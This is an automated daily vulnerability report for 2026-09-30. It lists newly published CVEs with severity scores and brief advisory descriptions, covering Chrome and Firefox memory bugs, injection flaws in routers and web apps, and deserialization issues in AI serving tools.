

Daily Vulnerability Report - 2026-09-30

Window (UTC): 2026-09-29T06:00 to 2026-09-30T06:00 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-09-30 06:01:22 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
806	743	62	1	1	76	264	195	240	457

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-53988	New	10.0	CRIT				Dockhand before 1.0.40 contains an authentication bypass vulnerability in its git webhook endpoints that allows unauthenticated remote attackers to trigger arbitrary stack redeployments by exploiting a null webhook secret guard condition. Attackers can enumerate sequential stack IDs and send unsigned webhook requests to force git clone and docker compose operations, enabling...
CVE-2026-71379	New	10.0	CRIT				The file export endpoint allows any unauthenticated attacker to export arbitrary database tables by sending a crafted POST request.
CVE-2026-96587	New	10.0	CRIT				The Viidure Android application embeds permanent, plaintext cloud storage credentials within its compiled code. These credentials provide full access to critical platform storage, including the ability to read, modify, or delete operational files such as firmware and application binaries.
CVE-2026-102911	New	9.9	CRIT				A flaw has been found in zosmaai pi-llm-wiki up to 0.11.7. Affected is an unknown function of the file mcp/index.ts of the component wiki_capture_source MCP tool. Executing a manipulation of the argument url can lead to os command injection. The attack can be executed remotely. The exploit has been published and may be used. Upgrading to version 0.11.8 is able to address thi...
CVE-2026-84154	New	9.9	CRIT		0.004		A Code Injection vulnerability affecting GEOVIA Geospatial Data Manager from Release 3DEXPERIENCE R2024x through Release 3DEXPERIENCE R2026x could allow an attacker to execute arbitrary code on the server.
CVE-2023-54400	New	9.8	CRIT				Fumasoft Fumeng Cloud contains a SQL injection vulnerability in the AjaxMethod.ashx endpoint that allows unauthenticated remote attackers to inject arbitrary SQL through the Name parameter of the getEmpByname action without any authentication. Attackers can exploit UNION-based SQL injection techniques against the Microsoft SQL Server backend to extract, disclose, and modify ...
CVE-2026-103040	New	9.8	CRIT				LightLLM through 1.2.0 contains a remote code execution vulnerability in the router profiler service when started with --enable_profiling flag. The service exposes an unauthenticated RPyC server with pickle deserialization enabled, allowing attackers to execute arbitrary code by sending crafted serialized objects to the profiler command queue.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-103041	New	9.8	CRIT				LightLLM through 1.2.0 multimodal deployments expose an unauthenticated RPyC cache service with pickle deserialization enabled on all interfaces. Attackers can send crafted serialized objects to exposed cache methods to execute arbitrary code with service privileges.
CVE-2026-103110	New	9.8	CRIT				Pexip Infinity before 38.2, plus 39.0, 39.1 and 40.0, is affected by improper input validation that allows a remote attacker to execute code remotely as an unprivileged user on a Pexip Infinity Conferencing Node.
CVE-2026-39117	New	9.8	CRIT				An issue in AltumCode 66Uptime before v.54.0.0 and 66Uptime ping-servers plugin before v.2.0.0 allows a remote attacker to execute arbitrary code via the index.php
CVE-2026-76721	New	9.8	CRIT				Buffer overflow vulnerability exists in the affected interface of HPE Networking Instant ON that could allow an unauthenticated remote attacker to run arbitrary code on the underlying host. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVE-2026-76722	New	9.8	CRIT				Uncontrolled Format string vulnerabilities exist in the affected interface of HPE Networking Instant ON APs that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host. Successful exploitation could result in a Denial-of-service or potential remote code execution.
CVE-2026-77177	New	9.8	CRIT				Open GenAI Stack (aka ogx-ai) 2026-06-11, as used in the Meta AI backend for WhatsApp and other products, allows code execution because prompt injection (with Jinja2 template syntax) can be used to achieve server-side expression evaluation without sanitization.
CVE-2026-79538	New	9.8	CRIT				metatool-ai MetaMCP up to and including 2.4.22 is vulnerable to Code Execution in the internal MCP inspector proxy endpoint GET /mcp-proxy/server/stdio (createTransport, STDIO branch, routers/mcp-proxy/server.ts).
CVE-2026-100762	New	9.6	CRIT				Sandbox escape due to use-after-free in the DOM: Content Processes component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100770	New	9.6	CRIT				Sandbox escape due to use-after-free in the DOM: Content Processes component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100778	New	9.6	CRIT				Sandbox escape due to use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100786	New	9.6	CRIT				Sandbox escape due to use-after-free in the Graphics component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100800	New	9.6	CRIT				Sandbox escape due to use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100804	New	9.6	CRIT				Sandbox escape due to use-after-free in the Preferences: Backend component. This vulnerability was fixed in Firefox 157.
CVE-2026-100811	New	9.6	CRIT				Sandbox escape due to use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100818	New	9.6	CRIT				Sandbox escape due to use-after-free in the Widget: Gtk component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100819	New	9.6	CRIT				Sandbox escape due to incorrect boundary conditions in the XPCOM component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-102304	New	9.6	CRIT				Use after free in Passwords in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102306	New	9.6	CRIT				Use after free in Bluetooth in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102308	New	9.6	CRIT				Use after free in Views in Google Chrome prior to 154.0.8037.92 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102309	New	9.6	CRIT				Use after free in FullScreen in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102316	New	9.6	CRIT				Use after free in Views in Google Chrome prior to 154.0.8037.92 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102331	New	9.6	CRIT				Buffer overflow in ANGLE in Google Chrome on on Android prior to 154.0.8037.92 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-76723	New	9.6	CRIT				Buffer overflow vulnerabilities exist in the affected interface of HPE Networking Instant ON APS that could allow an unauthenticated adjacent attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVE-2026-76724	New	9.6	CRIT				A command injection vulnerability exists in CLI of the affected HPE Networking Instant ON APs that could allow an unauthenticated adjacent attacker to perform command injection by sending specially crafted packets. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.
CVE-2026-76725	New	9.6	CRIT				A vulnerability has been identified in a management protocol of HPE Networking Instant ON APs that could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could result in a complete bypass of security restrictions, potentially leading to remote code execution with elevated privileges.
CVE-2026-95277	New	9.6	CRIT				Use after free in Views in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95281	New	9.6	CRIT				Buffer overflow in ANGLE in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95283	New	9.6	CRIT				Buffer overflow in Tint in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95299	New	9.6	CRIT				Use after free in GPU in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95310	New	9.6	CRIT				Use after free in AdFilter in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95311	New	9.6	CRIT				Free of non-heap memory in Fonts in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95313	New	9.6	CRIT				Use after free in Fullscreen in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95318	New	9.6	CRIT				Buffer overflow in Video in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95325	New	9.6	CRIT				Use after free in ANGLE in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95329	New	9.6	CRIT				Out of bounds write in WebGL in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95331	New	9.6	CRIT				Out of bounds write in ANGLE in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95339	New	9.6	CRIT				Use after free in ServiceWorker in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95347	New	9.6	CRIT				Use after free in Updater in Google Chrome on on Mac prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-95349	New	9.6	CRIT				Buffer overflow in WebGL in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95350	New	9.6	CRIT				Buffer overflow in ANGLE in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95356	New	9.6	CRIT				Use after free in WindowDialog in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95357	New	9.6	CRIT				Out of bounds write in GPU in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-102425	New	9.5	CRIT				Joomla Extension - balbooa.com - Unauthenticated RCE via field shortcode injection in Balbooa Forms < 2.4.3.4 - Balbooa Forms supports administrator-defined PHP code which runs after a public form submission. The feature also supports form-field shortcodes inside that PHP. Before calling `eval()`, the component replaces each shortcode with the raw value submitted by the visi...
CVE-2026-70356	New	9.4	CRIT				The TMS file upload endpoint fails to enforce server-side file type restrictions, allowing an attacker to upload and execute arbitrary PHP files on the web server.
CVE-2026-82973	New	9.4	CRIT				Improper neutralization of CRLF sequences in IMAP command construction in psyb0t/docker-mailbox before 0.4.13 allows a remote unauthenticated attacker, when bearer-token authentication is not configured, to inject additional IMAP commands into an authenticated upstream mailbox connection via crafted folder, UID, or search values.
CVE-2026-100291	New	9.3	CRIT				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, several ONVIF service endpoints process management requests without enforcing required authentication. This could allow an unauthorized attacker to access sensitive device operations.
CVE-2026-102710	New	9.3	CRIT				Attacker model / Preconditions: a loaded `TXM_MODULE_USER_MODE   TXM_MODULE_MEMORY_PROTECTION` module issuing kernel dispatch calls, on a build with `TX_ENABLE_EVENT_TRACE`. A user-mode, memory-protected module can register an arbitrary function pointer as the global trace-full callback. The kernel calls it directly — no validation, no trampoline — from privileged kernel ...
CVE-2026-102761	New	9.3	CRIT				NetX Duo's WebSocket client resets the unmasking cursor to the first `NX_PACKET` each time it advances through a chained packet, while the loop's upper bound belongs to the current packet. With the standard contiguous packet-pool layout, a masked server frame split across two packets therefore drives the XOR loop through the first packet's unused payload area and on through ...
CVE-2026-22094	New	9.3	CRIT				The firmware for the EVbee DC-80 has a weak hardcoded root password, which allows attackers to login as root using the SSH daemon that is exposed to the network.
CVE-2026-7192	New	9.3	CRIT				A stack-based buffer overflow vulnerability in the Dbit T-CPE301K 4G WiFi minirouter allows an authenticated attacker to cause a denial of service (DoS) and a system reboot via a manipulated HTTP POST request directed at the endpoint `/js/common/do_cmd.js` endpoint containing an excessively long parameter, which overwrites the PC and RA registers.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85520	New	9.3	CRIT				Google Merchant Center Feed (gmfeed) module for PrestaShop is vulnerable to unauthenticated arbitrary file write in the feed.php endpoint. An unauthenticated attacker can send a crafted request that controls the output file name, path, extension, and content through request parameters. Due to the lack of authentication and input validation, the request is processed successfu...
CVE-2026-96428	New	9.3	CRIT		0.003		SQL Injection in the /WebAgenda/SMBAjaxAutoComplete.do API endpoint of Flowring Agentflow 4.0 version before 2025/08/08 allows remote attackers to execute arbitrary SQL commands via the words parameter.
CVE-2026-96429	New	9.3	CRIT		0.003		SQL Injection in the /WebAgenda/SMBAjaxConfigProcess.do API endpoint of Flowring Agentflow 4.0 version before 2025/08/08 allows remote attackers to execute arbitrary SQL commands via the id parameter.
CVE-2026-96431	New	9.3	CRIT		0.003		Unrestricted Upload of File with Dangerous Type in the /WebAgenda/download/uploadFile.jsp API endpoint of Flowring Agentflow 4.0 version before 2023/03/24 allows remote authenticated users to execute arbitrary system commands via a malicious file.
CVE-2026-102828	New	9.2	CRIT				simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. From 3.15.0 until 4.0.1, the default blockUnsafeOperationsPlugin does not classify trailer.<token>.cmd as unsafe configuration. An application that passes attacker-controlled values through SimpleGitOptions.config or inline -c argument...
CVE-2026-102829	New	9.2	CRIT				simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. Prior to 2.0.1 of the argv-parser package, parseEnv omits VISUAL from GitEnvKeys, so prepareEnv drops the value before vulnerabilityCheck can classify it as allowUnsafeEditor. A consuming application that forwards attacker-influenced e...
CVE-2026-86131	New	9.2	CRIT				A code injection vulnerability in WatchGuard Firewall OS's BOVPN Over TLS client configuration handling allows an attacker who controls the remote VPN server to execute arbitrary commands as root on the connecting Firebox.
CVE-2026-102792	New	9.1	CRIT				A vulnerability was detected in Ziroom ZHOME A0101 1.0.1.0. This affects the function set_syslog of the file /api/ZRnetwork/set_syslog. The manipulation of the argument conloglevel/log_size results in command injection. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond ...
CVE-2026-102793	New	9.1	CRIT				A flaw has been found in Ziroom ZHOME A0101 1.0.1.0. This vulnerability affects the function set_time_zone of the file /api/ZRFirmware/set_time_zone. This manipulation of the argument hostname/zonename causes command injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure ...
CVE-2026-102794	New	9.1	CRIT				A vulnerability has been found in Ziroom ZHOME A0101 1.0.1.0. This issue affects some unknown processing of the file /api/ZRnetwork/ping. Such manipulation of the argument url leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-8065	New	9.1	CRIT		0.006		An authentication bypass vulnerability in the firmware update endpoint of Hitachi Energy RTU500 end-of-life versions allows an unauthenticated attacker to upload arbitrary firmware through a crafted POST request. Successful exploitation could allow the attacker to modify device functionality or compromise the integrity or availability of the device.
CVE-2026-8066	New	9.1	CRIT		0.012		A directory traversal vulnerability in the file upload functionality of Hitachi Energy RTU500 end-of-life versions allows an unauthenticated attacker to write or overwrite arbitrary files on the device file system. Depending on the files affected, successful exploitation could result in unauthorized modification of device data or disruption of the device's intended operation.
CVE-2026-84436	New	9.1	CRIT				IBM Guardium Data Protection 12.2 is vulnerable to command injection in the certificate export CLI functionality, allowing a privileged authenticated CLI user to execute arbitrary commands with root privileges.
CVE-2026-103056	New	9.0	CRIT				AiSOC versions 7.2.0 before 12.0.0 contain a command injection vulnerability in the actions service that builds CrowdStrike Real Time Response command strings by interpolating unescaped action parameters in crowdstrike_rtr.py and endpoint.py. Authenticated users can inject single quotes into file_path, path, script_name, or script_args parameters to break out of quoted argum...
CVE-2026-15390	New	9.0	CRIT				Das U-Boot with CONFIG_IP_DEFRAG=y parameter fails to clear IP reassembly state after delivering a complete datagram. An attacker who can deliver fragmented IP traffic can execute arbitrary code by sending duplicated last-fragment IP packets. This issue was fixed in commit b1aec609bb5e0d08c25c888c91935287ab4ee5fa in version 2026.07.
CVE-2026-102424	New	8.9	HIGH				Joomla Extension - balbooa.com - Unauthenticated path traversal exfiltrates local files through auto-reply attachments in Balbooa Forms < 2.4.3.4 - Balbooa Forms accepts upload-field state as Guest-controlled JSON during public form submission. For every object whose `id` merely looks numeric, the component trusts the supplied `filename`, concatenates it below the configured...
CVE-2026-92222	New	8.9	HIGH				Joomla! Core - [20260909] - Core - SSRF vectors in various core extensions in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - URLs used for serverside requests were improperly validated, leading to SSRF vectors.
CVE-2026-97689	New	8.9	HIGH				urllib3 is an HTTP client library for Python. From 1.10.3 until 2.8.0, the HTTPResponse.read_chunked and HTTPResponse.stream methods can allocate unbounded memory because the streaming chunk parser buffers the chunk-size field until newline or EOF without a length bound. The trigger is that a malicious server returns Transfer-Encoding: chunked followed by a very long run of ...
CVE-2026-100757	New	8.8	HIGH				Use-after-free in the Widget component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100761	New	8.8	HIGH				Privilege escalation due to use-after-free in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 157.
CVE-2026-100764	New	8.8	HIGH				Privilege escalation due to incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 157.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100765	New	8.8	HIGH				Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100767	New	8.8	HIGH				Use-after-free in the Networking: Cache component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100768	New	8.8	HIGH				Use-after-free in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 157.
CVE-2026-100769	New	8.8	HIGH				Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100772	New	8.8	HIGH				Use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100773	New	8.8	HIGH				Use-after-free in the Storage: IndexedDB component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100774	New	8.8	HIGH				Use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100776	New	8.8	HIGH				Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100777	New	8.8	HIGH				Use-after-free in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100779	New	8.8	HIGH				Use-after-free in the XSLT component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100780	New	8.8	HIGH				Use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100782	New	8.8	HIGH				Privilege escalation due to incorrect boundary conditions in the Graphics component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100784	New	8.8	HIGH				Use-after-free in the Layout: Text and Fonts component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100785	New	8.8	HIGH				Use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100789	New	8.8	HIGH				Use-after-free in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100790	New	8.8	HIGH				Use-after-free in the XSLT component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100791	New	8.8	HIGH				Use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100796	New	8.8	HIGH				Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 157.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100797	New	8.8	HIGH				Privilege escalation due to use-after-free in the Graphics: WebRender component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100801	New	8.8	HIGH				Privilege escalation in the DLL Services component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100807	New	8.8	HIGH				Privilege escalation in the DOM: Service Workers component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100813	New	8.8	HIGH				Invalid pointer in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 157.
CVE-2026-100814	New	8.8	HIGH				Incorrect boundary conditions in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100815	New	8.8	HIGH				Use-after-free in the CSS Parsing and Computation component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100820	New	8.8	HIGH				Privilege escalation in the Address Bar component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100824	New	8.8	HIGH				Privilege escalation in the Places component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100825	New	8.8	HIGH				Use-after-free in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100831	New	8.8	HIGH				Use-after-free in the DOM: UI Events & Focus Handling component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100832	New	8.8	HIGH				Use-after-free in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox ESR 153.4, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-102299	New	8.8	HIGH				Type confusion in V8 in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102302	New	8.8	HIGH				Buffer overflow in V8 in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102321	New	8.8	HIGH				Type confusion in V8 in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102323	New	8.8	HIGH				Type confusion in V8 in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102326	New	8.8	HIGH				Type confusion in V8 in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102328	New	8.8	HIGH				Type confusion in V8 in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102712	New	8.8	HIGH				On the first DTLS ClientHello, the parser copies a device-claimed session_id length and validates the ciphersuite-list length against the total record length instead of the remaining bytes. An unauthenticated peer drives an OOB source read of up to 255 bytes, and those bytes are echoed verbatim into the outgoing ServerHello, disclosing adjacent process memory over t...
CVE-2026-102713	New	8.8	HIGH				The TFTP server accepts a DATA datagram of any size. The dispatcher rejects datagrams shorter than four bytes (nxd_tftp_server.c:1037) and nothing anywhere checks an upper bound, in particular not against the protocol maximum of 4 + NX_TFTP_FILE_TRANSFER_MAX. Two things follow from that one missing check, both reachable before any authentication because TFTP has non...
CVE-2026-103105	New	8.8	HIGH				Pexip Infinity before 38.2, plus 39.0, 39.1 and 40.0, is affected by improper access control on a product-internal API which allows an attacker with local access to a node within a Pexip Infinity installation to execute arbitrary code as an unprivileged user on another Pexip Infinity node.
CVE-2026-61519	New	8.8	HIGH				Liberu CRM 0.9.1 before 10.0.0 contains a broken access control vulnerability that allows any user holding a pending team invitation to invite additional attacker-controlled accounts with elevated privileges by exploiting a flawed authorization predicate in TeamPolicy::addTeamMember() that grants invitation rights based solely on the existence of a pending invitation email m...
CVE-2026-82804	New	8.8	HIGH				The scriptPath parameter is incorporated into a /bin/sh -c command without sufficient neutralization of shell metacharacters, allowing shell command substitution and execution. An authenticated user can exploit this behavior by creating a resource whose filename contains shell command substitution syntax, such as \$(...), and subsequently supplying the resulting path to the ...
CVE-2026-84421	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of paths during archive extraction.
CVE-2026-87748	New	8.8	HIGH				Missing Authorization vulnerability in Interprobe Information Technologies Inc. Qorela DC allows Privilege Abuse. This issue affects Qorela DC: from 1.6.1-RC29 before v1.6.2.
CVE-2026-92370	New	8.8	HIGH				An improper access control vulnerability in TeamViewer Full Client, Host, and related affected modules on Windows, Linux, and macOS allows an authenticated remote attacker to bypass user-configured permission settings during session establishment. By modifying access control parameters for restricted features, an attacker can perform actions that were explicitly denied by th...
CVE-2026-95282	New	8.8	HIGH				Use after free in Platform in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95286	New	8.8	HIGH				Type confusion in Bindings in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95304	New	8.8	HIGH				Out of bounds write in V8 in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95306	New	8.8	HIGH				Type confusion in V8 in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95338	New	8.8	HIGH				Use after free in PDFium in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)
CVE-2026-95343	New	8.8	HIGH				Use after free in WebAudio in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95345	New	8.8	HIGH				Use after free in Actor in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95353	New	8.8	HIGH				Use after free in Bindings in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95365	New	8.8	HIGH				Type confusion in IndexedDB in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95369	New	8.8	HIGH				Inappropriate implementation in XML in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95373	New	8.8	HIGH				Use after free in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95380	New	8.8	HIGH				Type confusion in V8 in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
